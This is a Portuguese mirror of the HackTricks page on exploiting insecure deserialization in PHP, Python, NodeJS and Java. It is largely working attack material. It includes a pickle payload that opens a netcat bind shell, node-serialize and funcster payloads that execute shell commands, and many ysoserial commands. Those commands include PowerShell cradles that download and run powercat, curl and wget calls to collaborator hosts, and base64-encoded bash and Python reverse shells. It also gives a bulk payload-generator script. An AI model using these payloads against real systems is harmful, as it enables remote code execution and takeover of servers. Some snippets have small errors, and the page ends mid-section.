mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-06 10:18:55 +00:00
834 lines
50 KiB
Markdown
834 lines
50 KiB
Markdown
# Deserialização
|
||
|
||
<details>
|
||
|
||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Outras formas de apoiar o HackTricks:
|
||
|
||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
**Serialização** é o processo de transformar algum objeto em um formato de dados que pode ser restaurado posteriormente. As pessoas frequentemente serializam objetos para salvá-los em armazenamento ou para enviar como parte de comunicações.
|
||
|
||
**Deserialização** é o inverso desse processo, pegando dados estruturados de algum formato e reconstruindo-os em um objeto. Hoje, o formato de dados mais popular para serialização é o JSON. Antes disso, era o XML.
|
||
|
||
Em muitas ocasiões, você pode encontrar algum código no lado do servidor que desserializa algum objeto fornecido pelo usuário.\
|
||
Neste caso, você pode enviar uma carga maliciosa para fazer o lado do servidor se comportar de maneira inesperada.
|
||
|
||
**Você deve ler:** [**https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html) **para aprender como atacar.**
|
||
|
||
## PHP
|
||
|
||
Método mágico usado com serialização:
|
||
|
||
* `__sleep` é chamado quando um objeto é serializado e deve retornar um array
|
||
|
||
Método mágico usado com deserialização
|
||
|
||
* `__wakeup` é chamado quando um objeto é desserializado.
|
||
* `__unserialize` é chamado em vez de `__wakeup` se existir.
|
||
* `__destruct` é chamado quando o script PHP termina e o objeto é destruído.
|
||
* `__toString` usa o objeto como string, mas também pode ser usado para ler arquivos ou mais do que isso com base na chamada de função dentro dele.
|
||
```php
|
||
<?php
|
||
class test {
|
||
public $s = "This is a test";
|
||
public function displaystring(){
|
||
echo $this->s.'<br />';
|
||
}
|
||
public function __toString()
|
||
{
|
||
echo '__toString method called';
|
||
}
|
||
public function __construct(){
|
||
echo "__construct method called";
|
||
}
|
||
public function __destruct(){
|
||
echo "__destruct method called";
|
||
}
|
||
public function __wakeup(){
|
||
echo "__wakeup method called";
|
||
}
|
||
public function __sleep(){
|
||
echo "__sleep method called";
|
||
return array("s"); #The "s" makes references to the public attribute
|
||
}
|
||
}
|
||
|
||
$o = new test();
|
||
$o->displaystring();
|
||
$ser=serialize($o);
|
||
echo $ser;
|
||
$unser=unserialize($ser);
|
||
$unser->displaystring();
|
||
|
||
/*
|
||
php > $o = new test();
|
||
__construct method called
|
||
__destruct method called
|
||
php > $o->displaystring();
|
||
This is a test<br />
|
||
|
||
php > $ser=serialize($o);
|
||
__sleep method called
|
||
|
||
php > echo $ser;
|
||
O:4:"test":1:{s:1:"s";s:14:"This is a test";}
|
||
|
||
php > $unser=unserialize($ser);
|
||
__wakeup method called
|
||
__destruct method called
|
||
|
||
php > $unser->displaystring();
|
||
This is a test<br />
|
||
*/
|
||
?>
|
||
```
|
||
Se você observar os resultados, pode ver que as funções **`__wakeup`** e **`__destruct`** são chamadas quando o objeto é deserializado. Note que em vários tutoriais você encontrará que a função **`__toString`** é chamada ao tentar imprimir algum atributo, mas aparentemente isso **não acontece mais**.
|
||
|
||
{% hint style="warning" %}
|
||
O método **`__unserialize(array $data)`** é chamado **em vez de `__wakeup()`** se ele for implementado na classe. Ele permite que você deserializar o objeto fornecendo os dados serializados como um array. Você pode usar este método para deserializar propriedades e realizar quaisquer tarefas necessárias após a deserialização.
|
||
```php
|
||
phpCopy codeclass MyClass {
|
||
private $property;
|
||
|
||
public function __unserialize(array $data): void {
|
||
$this->property = $data['property'];
|
||
// Perform any necessary tasks upon deserialization.
|
||
}
|
||
}
|
||
```
|
||
{% endhint %}
|
||
|
||
Você pode ler um **exemplo PHP explicado aqui**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), aqui [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) ou aqui [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||
|
||
### PHP Deserial + Classes Autoload
|
||
|
||
Você pode abusar da funcionalidade de autoload do PHP para carregar arquivos php arbitrários e mais:
|
||
|
||
{% content-ref url="php-deserialization-+-autoload-classes.md" %}
|
||
[php-deserialization-+-autoload-classes.md](php-deserialization-+-autoload-classes.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Serializando Valores Referenciados
|
||
|
||
Se por algum motivo você quiser serializar um valor como uma **referência a outro valor serializado**, você pode:
|
||
```php
|
||
<?php
|
||
class AClass {
|
||
public $param1;
|
||
public $param2;
|
||
}
|
||
|
||
$o = new WeirdGreeting;
|
||
$o->param1 =& $o->param22;
|
||
$o->param = "PARAM";
|
||
$ser=serialize($o);
|
||
```
|
||
### PHPGGC (ysoserial para PHP)
|
||
|
||
[**PHPGGC**](https://github.com/ambionics/phpggc) pode ajudar você a gerar payloads para abusar de deserializações PHP.\
|
||
Note que em vários casos você **não conseguirá encontrar uma maneira de abusar de uma deserialização no código-fonte** da aplicação, mas você pode ser capaz de **abusar do código de extensões PHP externas.**\
|
||
Então, se puder, verifique o `phpinfo()` do servidor e **pesquise na internet** (e até nos **gadgets** do **PHPGGC**) algum possível gadget que você poderia abusar.
|
||
|
||
### phar:// deserialização de metadados
|
||
|
||
Se você encontrou um LFI que está apenas lendo o arquivo e não executando o código PHP dentro dele, por exemplo, usando funções como _**file\_get\_contents(), fopen(), file() ou file\_exists(), md5\_file(), filemtime() ou filesize()**_**.** Você pode tentar abusar de uma **deserialização** que ocorre ao **ler** um **arquivo** usando o protocolo **phar**.\
|
||
Para mais informações, leia o seguinte post:
|
||
|
||
{% content-ref url="../file-inclusion/phar-deserialization.md" %}
|
||
[phar-deserialization.md](../file-inclusion/phar-deserialization.md)
|
||
{% endcontent-ref %}
|
||
|
||
## Python
|
||
|
||
### **Pickle**
|
||
|
||
Quando o objeto é desempacotado, a função _\_\_reduce\_\__ será executada.\
|
||
Quando explorado, o servidor pode retornar um erro.
|
||
```python
|
||
import pickle, os, base64
|
||
class P(object):
|
||
def __reduce__(self):
|
||
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
|
||
print(base64.b64encode(pickle.dumps(P())))
|
||
```
|
||
Para mais informações sobre como escapar de **pickle jails**, confira:
|
||
|
||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||
{% endcontent-ref %}
|
||
|
||
### Yaml **&** jsonpickle
|
||
|
||
A página a seguir apresenta a técnica para **abusar de uma desserialização insegura em bibliotecas yaml** do python e termina com uma ferramenta que pode ser usada para gerar um payload de desserialização RCE para **Pickle, PyYAML, jsonpickle e ruamel.yaml**:
|
||
|
||
{% content-ref url="python-yaml-deserialization.md" %}
|
||
[python-yaml-deserialization.md](python-yaml-deserialization.md)
|
||
{% endcontent-ref %}
|
||
|
||
### Class Pollution (Poluição de Classe em Python)
|
||
|
||
{% content-ref url="../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md" %}
|
||
[class-pollution-pythons-prototype-pollution.md](../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md)
|
||
{% endcontent-ref %}
|
||
|
||
## NodeJS
|
||
|
||
### Funções Mágicas JS
|
||
|
||
JS **não possui funções "mágicas"** como PHP ou Python que são executadas apenas por criar um objeto. Mas possui algumas **funções** que são **frequentemente usadas mesmo sem chamá-las diretamente**, como **`toString`**, **`valueOf`**, **`toJSON`**.\
|
||
Se abusar de uma desserialização, você pode **comprometer essas funções para executar outro código** (potencialmente abusando de poluições de protótipo), você poderia executar código arbitrário quando elas são chamadas.
|
||
|
||
Outra **forma "mágica" de chamar uma função** sem chamá-la diretamente é **comprometendo um objeto que é retornado por uma função assíncrona** (promise). Porque, se você **transformar** esse **objeto de retorno** em outra **promise** com uma **propriedade** chamada **"then" do tipo função**, ela será **executada** apenas por ser retornada por outra promise. _Siga_ [_**este link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _para mais informações._
|
||
```javascript
|
||
// If you can compromise p (returned object) to be a promise
|
||
// it will be executed just because it's the return object of an async function:
|
||
async function test_resolve() {
|
||
const p = new Promise(resolve => {
|
||
console.log('hello')
|
||
resolve()
|
||
})
|
||
return p
|
||
}
|
||
|
||
async function test_then() {
|
||
const p = new Promise(then => {
|
||
console.log('hello')
|
||
return 1
|
||
})
|
||
return p
|
||
}
|
||
|
||
test_ressolve()
|
||
test_then()
|
||
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/
|
||
```
|
||
### Poluição de `__proto__` e `prototype`
|
||
|
||
Se você quer aprender sobre essa técnica **veja o seguinte tutorial**:
|
||
|
||
{% content-ref url="nodejs-proto-prototype-pollution/" %}
|
||
[nodejs-proto-prototype-pollution](nodejs-proto-prototype-pollution/)
|
||
{% endcontent-ref %}
|
||
|
||
### [node-serialize](https://www.npmjs.com/package/node-serialize)
|
||
|
||
Esta biblioteca permite serializar funções. Exemplo:
|
||
```javascript
|
||
var y = {
|
||
"rce": function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })},
|
||
}
|
||
var serialize = require('node-serialize');
|
||
var payload_serialized = serialize.serialize(y);
|
||
console.log("Serialized: \n" + payload_serialized);
|
||
```
|
||
O **objeto serializado** terá a seguinte aparência:
|
||
```bash
|
||
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
|
||
```
|
||
Você pode ver no exemplo que quando uma função é serializada, a flag `_$$ND_FUNC$$_` é anexada ao objeto serializado.
|
||
|
||
Dentro do arquivo `node-serialize/lib/serialize.js` você pode encontrar a mesma flag e como o código está usando-a.
|
||
|
||
![](<../../.gitbook/assets/image (297).png>)
|
||
|
||
![](<../../.gitbook/assets/image (298).png>)
|
||
|
||
Como você pode ver no último trecho de código, **se a flag for encontrada**, `eval` é usado para desserializar a função, então basicamente **a entrada do usuário está sendo usada dentro da função `eval`**.
|
||
|
||
No entanto, **apenas serializar** uma função **não a executará**, pois seria necessário que alguma parte do código estivesse **chamando `y.rce`** no nosso exemplo e isso é altamente **improvável**.\
|
||
De qualquer forma, você poderia apenas **modificar o objeto serializado** **adicionando alguns parênteses** para autoexecutar a função serializada quando o objeto for desserializado.\
|
||
No próximo trecho de código **observe o último parêntese** e como a função `unserialize` executará automaticamente o código:
|
||
```javascript
|
||
var serialize = require('node-serialize');
|
||
var test = {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"};
|
||
serialize.unserialize(test);
|
||
```
|
||
Como indicado anteriormente, esta biblioteca irá obter o código após `_$$ND_FUNC$$_` e irá **executá-lo** usando `eval`. Portanto, para **executar código automaticamente**, você pode **deletar a parte de criação da função** e o último parêntese e **apenas executar um JS oneliner** como no exemplo a seguir:
|
||
```javascript
|
||
var serialize = require('node-serialize');
|
||
var test = '{"rce":"_$$ND_FUNC$$_require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) })"}';
|
||
serialize.unserialize(test);
|
||
```
|
||
Você pode [**encontrar aqui**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **mais informações** sobre como explorar essa vulnerabilidade.
|
||
|
||
### [funcster](https://www.npmjs.com/package/funcster)
|
||
|
||
A diferença interessante aqui é que os **objetos padrão integrados não estão acessíveis**, porque estão fora do escopo. Isso significa que podemos executar nosso código, mas não podemos chamar métodos dos objetos integrados. Então, se usarmos `console.log()` ou `require(algo)`, o Node retorna uma exceção como `"ReferenceError: console is not defined"`.
|
||
|
||
No entanto, podemos facilmente recuperar o acesso a tudo porque ainda temos acesso ao contexto global usando algo como `this.constructor.constructor("console.log(1111)")();`:
|
||
```javascript
|
||
funcster = require("funcster");
|
||
//Serialization
|
||
var test = funcster.serialize(function() { return "Hello world!" })
|
||
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }
|
||
|
||
//Deserialization with auto-execution
|
||
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
|
||
funcster.deepDeserialize(desertest1)
|
||
var desertest2 = { __js_function: 'this.constructor.constructor("console.log(1111)")()' }
|
||
funcster.deepDeserialize(desertest2)
|
||
var desertest3 = { __js_function: 'this.constructor.constructor("require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });")()' }
|
||
funcster.deepDeserialize(desertest3)
|
||
```
|
||
**Para**[ **mais informações, leia esta página**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
|
||
|
||
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
|
||
|
||
O pacote **não inclui nenhuma funcionalidade de deserialização** e exige que você a implemente por conta própria. O exemplo deles usa `eval` diretamente. Este é o exemplo oficial de deserialização:
|
||
```javascript
|
||
function deserialize(serializedJavascript){
|
||
return eval('(' + serializedJavascript + ')');
|
||
}
|
||
```
|
||
Se essa função for usada para desserializar objetos, você pode **explorá-la facilmente**:
|
||
```javascript
|
||
var serialize = require('serialize-javascript');
|
||
//Serialization
|
||
var test = serialize(function() { return "Hello world!" });
|
||
console.log(test) //function() { return "Hello world!" }
|
||
|
||
//Deserialization
|
||
var test = "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
|
||
deserialize(test)
|
||
```
|
||
### Biblioteca Cryo
|
||
|
||
Nas páginas seguintes, você pode encontrar informações sobre como abusar desta biblioteca para executar comandos arbitrários:
|
||
|
||
* [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
|
||
* [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
|
||
|
||
## Java - HTTP
|
||
|
||
O principal problema com objetos deserializados em Java é que **callbacks de deserialização eram invocados durante a deserialização**. Isso possibilita que um **atacante** **aproveite esses callbacks** e prepare um payload que abusa dos callbacks para **realizar ações maliciosas**.
|
||
|
||
### Impressões Digitais
|
||
|
||
#### Caixa Branca
|
||
|
||
Procure no código por classes e funções de serialização. Por exemplo, busque por classes que implementam `Serializable`, o uso de `java.io.ObjectInputStream` \_\_ ou funções `readObject` \_\_ ou `readUnshare`\_.
|
||
|
||
Você também deve ficar atento a:
|
||
|
||
* `XMLdecoder` com parâmetros definidos pelo usuário externo
|
||
* `XStream` com método `fromXML` (versão xstream <= v1.46 é vulnerável ao problema de serialização)
|
||
* `ObjectInputStream` com `readObject`
|
||
* Usos de `readObject`, `readObjectNodData`, `readResolve` ou `readExternal`
|
||
* `ObjectInputStream.readUnshared`
|
||
* `Serializable`
|
||
|
||
#### Caixa Preta
|
||
|
||
**Impressões Digitais/Bytes Mágicos** de objetos **java serializados** (de `ObjectInputStream`):
|
||
|
||
* `AC ED 00 05` em Hex
|
||
* `rO0` em Base64
|
||
* Cabeçalho `Content-type` de uma resposta HTTP definido como `application/x-java-serialized-object`
|
||
* `1F 8B 08 00` Hex previamente comprimido
|
||
* `H4sIA` Base64 previamente comprimido
|
||
* Arquivos web com extensão `.faces` e parâmetro `faces.ViewState`. Se você encontrar isso em um webapp, dê uma olhada no [**post sobre Deserialização Java JSF VewState**](java-jsf-viewstate-.faces-deserialization.md).
|
||
```
|
||
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
|
||
```
|
||
### Verificar se é vulnerável
|
||
|
||
Se você quer **aprender como um exploit de Deserialização Java funciona** você deve dar uma olhada em [**Deserialização Java Básica**](basic-java-deserialization-objectinputstream-readobject.md), [**Deserialização Java DNS**](java-dns-deserialization-and-gadgetprobe.md), e [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md).
|
||
|
||
#### Teste de Caixa Branca
|
||
|
||
Você pode verificar se há alguma aplicação instalada com vulnerabilidades conhecidas.
|
||
```bash
|
||
find . -iname "*commons*collection*"
|
||
grep -R InvokeTransformer .
|
||
```
|
||
Você pode tentar **verificar todas as bibliotecas** conhecidas por serem vulneráveis e que [**Ysoserial**](https://github.com/frohoff/ysoserial) pode fornecer um exploit. Ou você pode verificar as bibliotecas indicadas no [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\
|
||
Você também pode usar [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) para procurar possíveis cadeias de gadgets que podem ser exploradas.\
|
||
Ao executar **gadgetinspector** (após construí-lo), não se preocupe com as toneladas de avisos/erros pelos quais ele passa e deixe-o terminar. Ele escreverá todas as descobertas em _gadgetinspector/gadget-results/gadget-chains-ano-mês-dia-hora-min.txt_. Por favor, note que **gadgetinspector não criará um exploit e pode indicar falsos positivos**.
|
||
|
||
#### Teste de Caixa Preta
|
||
|
||
Usando a extensão Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md), você pode identificar **quais bibliotecas estão disponíveis** (e até as versões). Com essa informação, pode ser **mais fácil escolher um payload** para explorar a vulnerabilidade.\
|
||
[**Leia isto para saber mais sobre GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
|
||
GadgetProbe foca em deserializações de \*\* `ObjectInputStream` \*\*.\*\*
|
||
|
||
Usando a extensão Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner), você pode **identificar bibliotecas vulneráveis** exploráveis com ysoserial e **explorá-las**.\
|
||
[**Leia isto para saber mais sobre Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
|
||
Java Deserialization Scanner foca em deserializações de **`ObjectInputStream`**.
|
||
|
||
Você também pode usar [**Freddy**](https://github.com/nccgroup/freddy) para **detectar vulnerabilidades de deserialização** no **Burp**. Este plugin detectará vulnerabilidades relacionadas não só a \*\*`ObjectInputStream`\*\*, mas **também** de bibliotecas de deserialização de **Json** e **Yml**. No modo ativo, ele tentará confirmá-las usando payloads de sleep ou DNS.\
|
||
[**Você pode encontrar mais informações sobre Freddy aqui.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
|
||
|
||
**Teste de Serialização**
|
||
|
||
Nem tudo é sobre verificar se alguma biblioteca vulnerável é usada pelo servidor. Às vezes, você pode ser capaz de **alterar os dados dentro do objeto serializado e contornar algumas verificações** (talvez conceder privilégios de administrador dentro de um webapp).\
|
||
Se você encontrar um objeto Java serializado sendo enviado para uma aplicação web, **você pode usar** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **para imprimir em um formato mais legível para humanos o objeto de serialização que está sendo enviado**. Sabendo quais dados você está enviando, seria mais fácil modificá-los e contornar algumas verificações.
|
||
|
||
### **Exploração**
|
||
|
||
#### **ysoserial**
|
||
|
||
A ferramenta mais conhecida para explorar deserializações Java é [**ysoserial**](https://github.com/frohoff/ysoserial) ([**baixe aqui**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). Você também pode considerar usar [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified), que permitirá que você use comandos complexos (com pipes, por exemplo).\
|
||
Note que esta ferramenta é **focada** em explorar **`ObjectInputStream`**.\
|
||
Eu começaria **usando o payload "URLDNS"** **antes de um payload RCE** para testar se a injeção é possível. De qualquer forma, note que talvez o payload "URLDNS" não esteja funcionando, mas outro payload RCE esteja.
|
||
```bash
|
||
# PoC to make the application perform a DNS req
|
||
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
||
|
||
# PoC RCE in Windows
|
||
# Ping
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
|
||
# Time, I noticed the response too longer when this was used
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
|
||
# Create File
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
|
||
# DNS request
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
|
||
# HTTP request (+DNS)
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
|
||
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
|
||
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
|
||
# Reverse Shell
|
||
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
|
||
|
||
#PoC RCE in Linux
|
||
# Ping
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
|
||
# Time
|
||
## Using time in bash I didn't notice any difference in the timing of the response
|
||
# Create file
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
|
||
# DNS request
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
|
||
# HTTP request (+DNS)
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
|
||
# Reverse shell
|
||
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
|
||
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
|
||
|
||
# Base64 encode payload in base64
|
||
base64 -w0 payload
|
||
```
|
||
Ao criar um payload para **java.lang.Runtime.exec()**, você **não pode usar caracteres especiais** como ">" ou "|" para redirecionar a saída de uma execução, "$()" para executar comandos ou mesmo **passar argumentos** para um comando separados por **espaços** (você pode fazer `echo -n "hello world"` mas não pode fazer `python2 -c 'print "Hello world"'`). Para codificar corretamente o payload, você poderia [usar esta página da web](http://www.jackson-t.ca/runtime-exec-payloads.html).
|
||
|
||
Sinta-se à vontade para usar o próximo script para criar **todos os possíveis payloads de execução de código** para Windows e Linux e depois testá-los na página web vulnerável:
|
||
```python
|
||
import os
|
||
import base64
|
||
|
||
# You may need to update the payloads
|
||
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
|
||
def generate(name, cmd):
|
||
for payload in payloads:
|
||
final = cmd.replace('REPLACE', payload)
|
||
print 'Generating ' + payload + ' for ' + name + '...'
|
||
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
|
||
result = command.read()
|
||
command.close()
|
||
encoded = base64.b64encode(result)
|
||
if encoded != "":
|
||
open(name + '_intruder.txt', 'a').write(encoded + '\n')
|
||
|
||
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
|
||
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
||
```
|
||
#### serialkillerbypassgadgets
|
||
|
||
Você pode **usar** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **junto com ysoserial para criar mais exploits**. Mais informações sobre esta ferramenta nos **slides da palestra** onde a ferramenta foi apresentada: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
|
||
|
||
#### marshalsec
|
||
|
||
[**marshalsec**](https://github.com/mbechler/marshalsec) pode ser usado para gerar payloads para explorar diferentes bibliotecas de serialização **Json** e **Yml** em Java.\
|
||
Para compilar o projeto, precisei **adicionar** estas **dependências** ao `pom.xml`:
|
||
```markup
|
||
<dependency>
|
||
<groupId>javax.activation</groupId>
|
||
<artifactId>activation</artifactId>
|
||
<version>1.1.1</version>
|
||
</dependency>
|
||
|
||
<dependency>
|
||
<groupId>com.sun.jndi</groupId>
|
||
<artifactId>rmiregistry</artifactId>
|
||
<version>1.2.1</version>
|
||
<type>pom</type>
|
||
</dependency>
|
||
```
|
||
**Instale o maven** e **compile** o projeto:
|
||
```bash
|
||
sudo apt-get install maven
|
||
mvn clean package -DskipTests
|
||
```
|
||
#### FastJSON
|
||
|
||
Leia mais sobre esta biblioteca Java JSON: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
||
|
||
### Laboratórios
|
||
|
||
* Se você quiser testar alguns payloads ysoserial, você pode **executar esta webapp**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||
* [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
||
|
||
### Por que
|
||
|
||
Java ADORA enviar objetos serializados para todos os lados. Por exemplo:
|
||
|
||
